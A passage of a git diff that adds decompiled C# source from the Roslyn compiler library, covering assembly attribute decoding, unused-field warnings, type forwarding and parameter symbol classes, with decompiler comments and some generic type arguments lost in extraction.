arguments.GetOrCreateData>().AssemblyVersionAttributeSetting = assemblyVersionAttributeSetting; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyFileVersionAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text3 = (string)((TypedConstant)(ref val)).ValueInternal; + Version version = default(Version); + if (!VersionHelper.TryParse(text3, ref version)) + { + Location attributeArgumentSyntaxLocation2 = ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt); + bindingDiagnosticBag.Add(ErrorCode.WRN_InvalidVersionFormat, attributeArgumentSyntaxLocation2, text3 ?? ""); + } + arguments.GetOrCreateData>().AssemblyFileVersionAttributeSetting = text3; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyTitleAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData4 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData4.AssemblyTitleAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyDescriptionAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData5 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData5.AssemblyDescriptionAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCultureAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text4 = (string)((TypedConstant)(ref val)).ValueInternal; + if (!string.IsNullOrEmpty(text4)) + { + if (EnumBounds.IsApplication(((CompilationOptions)_compilation.Options).OutputKind)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidAssemblyCultureForExe, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt)); + } + else if (!AssemblyIdentity.IsValidCultureName(text4)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidAssemblyCulture, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt)); + text4 = null; + } + } + arguments.GetOrCreateData>().AssemblyCultureAttributeSetting = text4; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCompanyAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData6 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData6.AssemblyCompanyAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyProductAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData7 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData7.AssemblyProductAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyInformationalVersionAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData8 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData8.AssemblyInformationalVersionAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SatelliteContractVersionAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text5 = (string)((TypedConstant)(ref val)).ValueInternal; + Version version2 = default(Version); + if (!VersionHelper.TryParseAssemblyVersion(text5, false, ref version2)) + { + Location attributeArgumentSyntaxLocation3 = ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt); + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidVersionFormat2, attributeArgumentSyntaxLocation3, text5 ?? ""); + } + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyCopyrightAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData9 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData9.AssemblyCopyrightAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyTrademarkAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData10 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData10.AssemblyTrademarkAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if ((targetAttributeSignatureIndex = attribute.GetTargetAttributeSignatureIndex(this, AttributeDescription.AssemblyFlagsAttribute)) != -1) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + object valueInternal = ((TypedConstant)(ref val)).ValueInternal; + AssemblyFlags assemblyFlagsAttributeSetting = ((targetAttributeSignatureIndex != 0 && targetAttributeSignatureIndex != 1) ? ((AssemblyFlags)(uint)valueInternal) : ((AssemblyFlags)(AssemblyNameFlags)valueInternal)); + arguments.GetOrCreateData>().AssemblyFlagsAttributeSetting = assemblyFlagsAttributeSetting; + } + else if (attribute.IsSecurityAttribute(_compilation)) + { + attribute.DecodeSecurityAttribute>((Symbol)this, _compilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ClassInterfaceAttribute)) + { + attribute.DecodeClassInterfaceAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.TypeLibVersionAttribute)) + { + ValidateIntegralAttributeNonNegativeArguments(attribute, arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ComCompatibleVersionAttribute)) + { + ValidateIntegralAttributeNonNegativeArguments(attribute, arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.GuidAttribute)) + { + attribute.DecodeGuidAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CompilationRelaxationsAttribute)) + { + arguments.GetOrCreateData>().HasCompilationRelaxationsAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ReferenceAssemblyAttribute)) + { + arguments.GetOrCreateData>().HasReferenceAssemblyAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.RuntimeCompatibilityAttribute)) + { + bool runtimeCompatibilityWrapNonExceptionThrows = true; + ImmutableArray>.Enumerator enumerator = ((AttributeData)attribute).CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (current.Key == "WrapNonExceptionThrows") + { + val = current.Value; + runtimeCompatibilityWrapNonExceptionThrows = ((TypedConstant)(ref val)).DecodeValue((SpecialType)7); + } + } + arguments.GetOrCreateData>().RuntimeCompatibilityWrapNonExceptionThrows = runtimeCompatibilityWrapNonExceptionThrows; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DebuggableAttribute)) + { + arguments.GetOrCreateData>().HasDebuggableAttribute = true; + } + else if (!isFromNetModule && attribute.IsTargetAttribute(this, AttributeDescription.TypeForwardedToAttribute)) + { + DecodeTypeForwardedToAttribute(ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CaseSensitiveExtensionAttribute)) + { + if (arguments.AttributeSyntaxOpt != null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ExplicitExtension, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + else if ((targetAttributeSignatureIndex = attribute.GetTargetAttributeSignatureIndex(this, AttributeDescription.AssemblyAlgorithmIdAttribute)) != -1) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + object valueInternal2 = ((TypedConstant)(ref val)).ValueInternal; + AssemblyHashAlgorithm value = ((targetAttributeSignatureIndex != 0) ? ((AssemblyHashAlgorithm)(uint)valueInternal2) : ((AssemblyHashAlgorithm)valueInternal2)); + arguments.GetOrCreateData>().AssemblyAlgorithmIdAttributeSetting = value; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ExperimentalAttribute)) + { + ObsoleteAttributeData experimentalAttributeData = ((AttributeData)attribute).DecodeExperimentalAttribute(); + arguments.GetOrCreateData>().ExperimentalAttributeData = experimentalAttributeData; + } + } + + private static void ValidateIntegralAttributeNonNegativeArguments(CSharpAttributeData attribute, AttributeSyntax nodeOpt, BindingDiagnosticBag diagnostics) + { + int length = ((AttributeData)attribute).CommonConstructorArguments.Length; + for (int i = 0; i < length; i++) + { + if (((AttributeData)attribute).GetConstructorArgument(i, (SpecialType)13) < 0) + { + Location attributeArgumentSyntaxLocation = ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(i, nodeOpt); + diagnostics.Add(ErrorCode.ERR_InvalidAttributeArgument, attributeArgumentSyntaxLocation, (nodeOpt != null) ? nodeOpt.GetErrorDisplayName() : ""); + } + } + } + + internal void NoteFieldAccess(FieldSymbol field, bool read, bool write) + { + if (!(field.ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol)) + { + return; + } + sourceMemberContainerTypeSymbol.EnsureFieldDefinitionsNoted(); + if (_unusedFieldWarnings.IsDefault) + { + if (read) + { + _unreadFields.Remove(field); + } + if (write) + { + _unassignedFieldsMap.TryRemove(field, out var _); + } + } + } + + internal void NoteFieldDefinition(FieldSymbol field, bool isInternal, bool isUnread) + { + _unassignedFieldsMap.TryAdd(field, isInternal); + if (isUnread) + { + _unreadFields.Add(field); + } + } + + internal override bool IsNetModule() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind); + } + + internal ImmutableArray GetUnusedFieldWarnings(CancellationToken cancellationToken) + { + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Invalid comparison between Unknown and I4 + if (_unusedFieldWarnings.IsDefault) + { + ForceComplete(null, cancellationToken); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + bool flag = InternalsAreVisible || IsNetModule(); + HashSet hashSet = null; + int length; + foreach (FieldSymbol key in _unassignedFieldsMap.Keys) + { + _unassignedFieldsMap.TryGetValue(key, out var value); + if ((value && flag) || !key.CanBeReferencedByName || !(key.ContainingType is SourceNamedTypeSymbol sourceNamedTypeSymbol) || key is TupleErrorFieldSymbol) + { + continue; + } + bool flag2 = _unreadFields.Contains(key); + if (flag2) + { + if (hashSet == null) + { + hashSet = new HashSet(); + } + hashSet.Add(key); + } + if (sourceNamedTypeSymbol.HasStructLayoutAttribute || sourceNamedTypeSymbol.HasInlineArrayAttribute(out length)) + { + continue; + } + Symbol associatedSymbol = key.AssociatedSymbol; + if ((object)associatedSymbol != null && (int)associatedSymbol.Kind == 5) + { + if (flag2) + { + instance.Add(ErrorCode.WRN_UnreferencedEvent, associatedSymbol.GetFirstLocationOrNone(), associatedSymbol); + } + } + else if (flag2) + { + instance.Add(ErrorCode.WRN_UnreferencedField, key.GetFirstLocationOrNone(), key); + } + else + { + instance.Add(ErrorCode.WRN_UnassignedInternalField, key.GetFirstLocationOrNone(), key, DefaultValue(key.Type)); + } + } + KeyEnumerator enumerator2 = _unreadFields.GetEnumerator(); + while (enumerator2.MoveNext()) + { + FieldSymbol current2 = enumerator2.Current; + if ((hashSet == null || !hashSet.Contains(current2)) && current2.CanBeReferencedByName && current2.ContainingType is SourceNamedTypeSymbol { HasStructLayoutAttribute: false } sourceNamedTypeSymbol2 && !sourceNamedTypeSymbol2.HasInlineArrayAttribute(out length)) + { + instance.Add(ErrorCode.WRN_UnreferencedFieldAssg, current2.GetFirstLocationOrNone(), current2); + } + } + ImmutableInterlocked.InterlockedInitialize(ref _unusedFieldWarnings, instance.ToReadOnlyAndFree()); + } + return _unusedFieldWarnings; + } + + private static string DefaultValue(TypeSymbol type) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if (type.IsReferenceType) + { + return "null"; + } + SpecialType specialType = type.SpecialType; + if ((int)specialType != 7) + { + if (specialType - 9 <= 10) + { + return "0"; + } + return ""; + } + return "false"; + } + + internal override NamedTypeSymbol? TryLookupForwardedMetadataTypeWithCycleDetection(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + int num = ((MetadataTypeName)(ref emittedName)).ForcedArity; + if (((MetadataTypeName)(ref emittedName)).UseCLSCompliantNameArityEncoding) + { + if (num == -1) + { + num = ((MetadataTypeName)(ref emittedName)).InferredArity; + } + else if (num != ((MetadataTypeName)(ref emittedName)).InferredArity) + { + return null; + } + } + if (_lazyForwardedTypesFromSource == null) + { + HashSet forwardedTypes = GetForwardedTypes(); + IDictionary dictionary; + if (forwardedTypes != null) + { + dictionary = new Dictionary((IEqualityComparer?)StringOrdinalComparer.Instance); + foreach (NamedTypeSymbol item in forwardedTypes) + { + NamedTypeSymbol originalDefinition = item.OriginalDefinition; + string key = MetadataHelpers.BuildQualifiedName(originalDefinition.ContainingSymbol.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), originalDefinition.MetadataName); + dictionary[key] = originalDefinition; + } + } + else + { + dictionary = SpecializedCollections.EmptyDictionary(); + } + _lazyForwardedTypesFromSource = dictionary; + } + if (_lazyForwardedTypesFromSource.TryGetValue(((MetadataTypeName)(ref emittedName)).FullName, out NamedTypeSymbol value)) + { + if ((num == -1 || value.Arity == num) && (!((MetadataTypeName)(ref emittedName)).UseCLSCompliantNameArityEncoding || value.Arity == 0 || value.MangleName)) + { + return value; + } + } + else if (!EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + for (int num2 = _modules.Length - 1; num2 > 0; num2--) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)_modules[num2]; + var (assemblySymbol, assemblySymbol2) = pEModuleSymbol.GetAssembliesForForwardedType(ref emittedName); + if ((object)assemblySymbol != null) + { + if ((object)assemblySymbol2 != null) + { + return CreateMultipleForwardingErrorTypeSymbol(ref emittedName, pEModuleSymbol, assemblySymbol, assemblySymbol2); + } + if (visitedAssemblies != null && ((IEnumerable)visitedAssemblies).Contains(assemblySymbol)) + { + return CreateCycleInTypeForwarderErrorTypeSymbol(ref emittedName); + } + visitedAssemblies = new ConsList((AssemblySymbol)this, visitedAssemblies ?? ConsList.Empty); + return assemblySymbol.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedName, visitedAssemblies); + } + } + } + return null; + } + + internal override IEnumerable GetAllTopLevelForwardedTypes() + { + return PEModuleBuilder.GetForwardedTypes(this, null); + } + + public override AssemblyMetadata GetMetadata() + { + return null; + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.SourceAssemblySymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAttributeData.cs new file mode 100644 index 0000000..9645d53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAttributeData.cs @@ -0,0 +1,352 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SourceAttributeData : CSharpAttributeData +{ + private readonly NamedTypeSymbol _attributeClass; + + private readonly MethodSymbol? _attributeConstructor; + + private readonly ImmutableArray _constructorArguments; + + private readonly ImmutableArray _constructorArgumentsSourceIndices; + + private readonly ImmutableArray> _namedArguments; + + private readonly bool _isConditionallyOmitted; + + private readonly bool _hasErrors; + + private readonly SyntaxReference? _applicationNode; + + public override NamedTypeSymbol AttributeClass => _attributeClass; + + public override MethodSymbol? AttributeConstructor => _attributeConstructor; + + public override SyntaxReference? ApplicationSyntaxReference => _applicationNode; + + internal ImmutableArray ConstructorArgumentsSourceIndices => _constructorArgumentsSourceIndices; + + internal override bool IsConditionallyOmitted => _isConditionallyOmitted; + + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + internal override bool HasErrors + { + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + get + { + return _hasErrors; + } + } + + protected internal sealed override ImmutableArray CommonConstructorArguments => _constructorArguments; + + protected internal sealed override ImmutableArray> CommonNamedArguments => _namedArguments; + + internal SourceAttributeData(SyntaxReference? applicationNode, NamedTypeSymbol attributeClass, MethodSymbol? attributeConstructor, ImmutableArray constructorArguments, ImmutableArray constructorArgumentsSourceIndices, ImmutableArray> namedArguments, bool hasErrors, bool isConditionallyOmitted) + { + _attributeClass = attributeClass; + _attributeConstructor = attributeConstructor; + _constructorArguments = constructorArguments; + _constructorArgumentsSourceIndices = constructorArgumentsSourceIndices; + _namedArguments = namedArguments; + _isConditionallyOmitted = isConditionallyOmitted; + _hasErrors = hasErrors; + _applicationNode = applicationNode; + } + + internal SourceAttributeData(SyntaxReference applicationNode, NamedTypeSymbol attributeClass, MethodSymbol? attributeConstructor, bool hasErrors) + : this(applicationNode, attributeClass, attributeConstructor, ImmutableArray.Empty, default(ImmutableArray), ImmutableArray>.Empty, hasErrors, isConditionallyOmitted: false) + { + } + + internal CSharpSyntaxNode GetAttributeArgumentSyntax(int parameterIndex, AttributeSyntax attributeSyntax) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + if (_constructorArgumentsSourceIndices.IsDefault) + { + return attributeSyntax.ArgumentList.Arguments[parameterIndex]; + } + int num = _constructorArgumentsSourceIndices[parameterIndex]; + if (num == -1) + { + return attributeSyntax.Name; + } + return attributeSyntax.ArgumentList.Arguments[num]; + } + + internal SourceAttributeData WithOmittedCondition(bool isConditionallyOmitted) + { + if (((AttributeData)this).IsConditionallyOmitted == isConditionallyOmitted) + { + return this; + } + return new SourceAttributeData(ApplicationSyntaxReference, AttributeClass, AttributeConstructor, ((AttributeData)this).CommonConstructorArguments, ConstructorArgumentsSourceIndices, ((AttributeData)this).CommonNamedArguments, ((AttributeData)this).HasErrors, isConditionallyOmitted); + } + + internal override int GetTargetAttributeSignatureIndex(Symbol targetSymbol, AttributeDescription description) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (!IsTargetAttribute(description.Namespace, description.Name)) + { + return -1; + } + MethodSymbol attributeConstructor = AttributeConstructor; + if ((object)attributeConstructor == null) + { + return -1; + } + TypeSymbol lazySystemType = null; + ImmutableArray parameters = attributeConstructor.Parameters; + for (int i = 0; i < description.Signatures.Length; i++) + { + byte[] targetSignature = description.Signatures[i]; + if (matches(targetSignature, parameters, ref lazySystemType)) + { + return i; + } + } + return -1; + bool matches(byte[] array, ImmutableArray immutableArray, ref TypeSymbol? reference) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Invalid comparison between Unknown and I4 + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Invalid comparison between Unknown and I4 + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Invalid comparison between Unknown and I4 + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_01ad: Invalid comparison between Unknown and I4 + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Invalid comparison between Unknown and I4 + //IL_01ca: Unknown result type (might be due to invalid IL or missing references) + //IL_01cd: Invalid comparison between Unknown and I4 + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + //IL_01dd: Invalid comparison between Unknown and I4 + //IL_01ea: Unknown result type (might be due to invalid IL or missing references) + //IL_01ed: Invalid comparison between Unknown and I4 + //IL_01f7: Unknown result type (might be due to invalid IL or missing references) + //IL_01fa: Invalid comparison between Unknown and I4 + //IL_0204: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Invalid comparison between Unknown and I4 + //IL_0211: Unknown result type (might be due to invalid IL or missing references) + //IL_0214: Invalid comparison between Unknown and I4 + //IL_021e: Unknown result type (might be due to invalid IL or missing references) + //IL_0221: Invalid comparison between Unknown and I4 + //IL_022b: Unknown result type (might be due to invalid IL or missing references) + //IL_022e: Invalid comparison between Unknown and I4 + //IL_0238: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Invalid comparison between Unknown and I4 + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + if (array[0] != 32) + { + return false; + } + if (array[1] != immutableArray.Length) + { + return false; + } + if (array[2] != 1) + { + return false; + } + int num = 0; + for (int j = 3; j < array.Length; j++) + { + if (num >= immutableArray.Length) + { + return false; + } + TypeSymbol type = immutableArray[num].Type; + SpecialType specialType = type.SpecialType; + byte b = array[j]; + switch (b) + { + case 64: + { + j++; + if ((int)type.Kind != 11 && (int)type.Kind != 4) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + TypeHandleTargetInfo val = AttributeDescription.TypeHandleTargets[array[j]]; + if (!string.Equals(namedTypeSymbol.MetadataName, val.Name, StringComparison.Ordinal) || !namedTypeSymbol.HasNameQualifier(val.Namespace)) + { + return false; + } + b = (byte)val.Underlying; + if (type.IsEnumType()) + { + specialType = type.GetEnumUnderlyingType().SpecialType; + } + break; + } + default: + if (type.IsArray()) + { + if (array[j - 1] != 29) + { + return false; + } + specialType = ((ArrayTypeSymbol)type).ElementType.SpecialType; + } + break; + case 29: + break; + } + switch (b) + { + case 2: + if ((int)specialType != 7) + { + return false; + } + num++; + break; + case 3: + if ((int)specialType != 8) + { + return false; + } + num++; + break; + case 4: + if ((int)specialType != 9) + { + return false; + } + num++; + break; + case 5: + if ((int)specialType != 10) + { + return false; + } + num++; + break; + case 6: + if ((int)specialType != 11) + { + return false; + } + num++; + break; + case 7: + if ((int)specialType != 12) + { + return false; + } + num++; + break; + case 8: + if ((int)specialType != 13) + { + return false; + } + num++; + break; + case 9: + if ((int)specialType != 14) + { + return false; + } + num++; + break; + case 10: + if ((int)specialType != 15) + { + return false; + } + num++; + break; + case 11: + if ((int)specialType != 16) + { + return false; + } + num++; + break; + case 12: + if ((int)specialType != 18) + { + return false; + } + num++; + break; + case 13: + if ((int)specialType != 19) + { + return false; + } + num++; + break; + case 14: + if ((int)specialType != 20) + { + return false; + } + num++; + break; + case 28: + if ((int)specialType != 1) + { + return false; + } + num++; + break; + case 80: + if ((object)reference == null) + { + reference = GetSystemType(targetSymbol); + } + if (!TypeSymbol.Equals(type, reference, (TypeCompareKind)0)) + { + return false; + } + num++; + break; + case 29: + if (!type.IsArray()) + { + return false; + } + break; + default: + return false; + } + } + return true; + } + } + + internal virtual TypeSymbol GetSystemType(Symbol targetSymbol) + { + return targetSymbol.DeclaringCompilation.GetWellKnownType((WellKnownType)61); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceClonedParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceClonedParameterSymbol.cs new file mode 100644 index 0000000..35ba39e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceClonedParameterSymbol.cs @@ -0,0 +1,113 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceClonedParameterSymbol : SourceParameterSymbolBase +{ + private readonly bool _suppressOptional; + + protected readonly SourceParameterSymbol _originalParam; + + public override bool IsImplicitlyDeclared => true; + + public override bool IsDiscard => _originalParam.IsDiscard; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsParams + { + get + { + if (!_suppressOptional) + { + return _originalParam.IsParams; + } + return false; + } + } + + internal override bool IsMetadataOptional + { + get + { + if (!_suppressOptional) + { + return _originalParam.IsMetadataOptional; + } + return _originalParam.HasOptionalAttribute; + } + } + + internal sealed override ScopedKind EffectiveScope => _originalParam.EffectiveScope; + + internal override bool HasUnscopedRefAttribute => _originalParam.HasUnscopedRefAttribute; + + internal sealed override bool UseUpdatedEscapeRules => _originalParam.UseUpdatedEscapeRules; + + internal override ConstantValue ExplicitDefaultConstantValue + { + get + { + if (!_suppressOptional) + { + return _originalParam.ExplicitDefaultConstantValue; + } + return _originalParam.DefaultValueFromAttributes; + } + } + + internal override ConstantValue DefaultValueFromAttributes => _originalParam.DefaultValueFromAttributes; + + public override TypeWithAnnotations TypeWithAnnotations => _originalParam.TypeWithAnnotations; + + public override RefKind RefKind => _originalParam.RefKind; + + internal override bool IsMetadataIn => _originalParam.IsMetadataIn; + + internal override bool IsMetadataOut => _originalParam.IsMetadataOut; + + public override ImmutableArray Locations => _originalParam.Locations; + + public sealed override string Name => _originalParam.Name; + + public override ImmutableArray RefCustomModifiers => _originalParam.RefCustomModifiers; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => _originalParam.MarshallingInformation; + + internal override bool IsIDispatchConstant => _originalParam.IsIDispatchConstant; + + internal override bool IsIUnknownConstant => _originalParam.IsIUnknownConstant; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceClonedParameterSymbol.cs", 148); + } + } + + internal override bool HasInterpolatedStringHandlerArgumentError + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceClonedParameterSymbol.cs", 150); + } + } + + internal SourceClonedParameterSymbol(SourceParameterSymbol originalParam, Symbol newOwner, int newOrdinal, bool suppressOptional) + : base(newOwner, newOrdinal) + { + _suppressOptional = suppressOptional; + _originalParam = originalParam; + } + + public override ImmutableArray GetAttributes() + { + return _originalParam.GetAttributes(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbol.cs new file mode 100644 index 0000000..0facd31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbol.cs @@ -0,0 +1,15 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceComplexParameterSymbol : SourceComplexParameterSymbolBase +{ + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal SourceComplexParameterSymbol(Symbol owner, int ordinal, TypeWithAnnotations parameterType, RefKind refKind, string name, Location location, SyntaxReference syntaxRef, bool isParams, bool isExtensionMethodThis, ScopedKind scope) + : base(owner, ordinal, parameterType, refKind, name, location, syntaxRef, isParams, isExtensionMethodThis, scope) + { + }//IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolBase.cs new file mode 100644 index 0000000..6ad4bc3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolBase.cs @@ -0,0 +1,1489 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceComplexParameterSymbolBase : 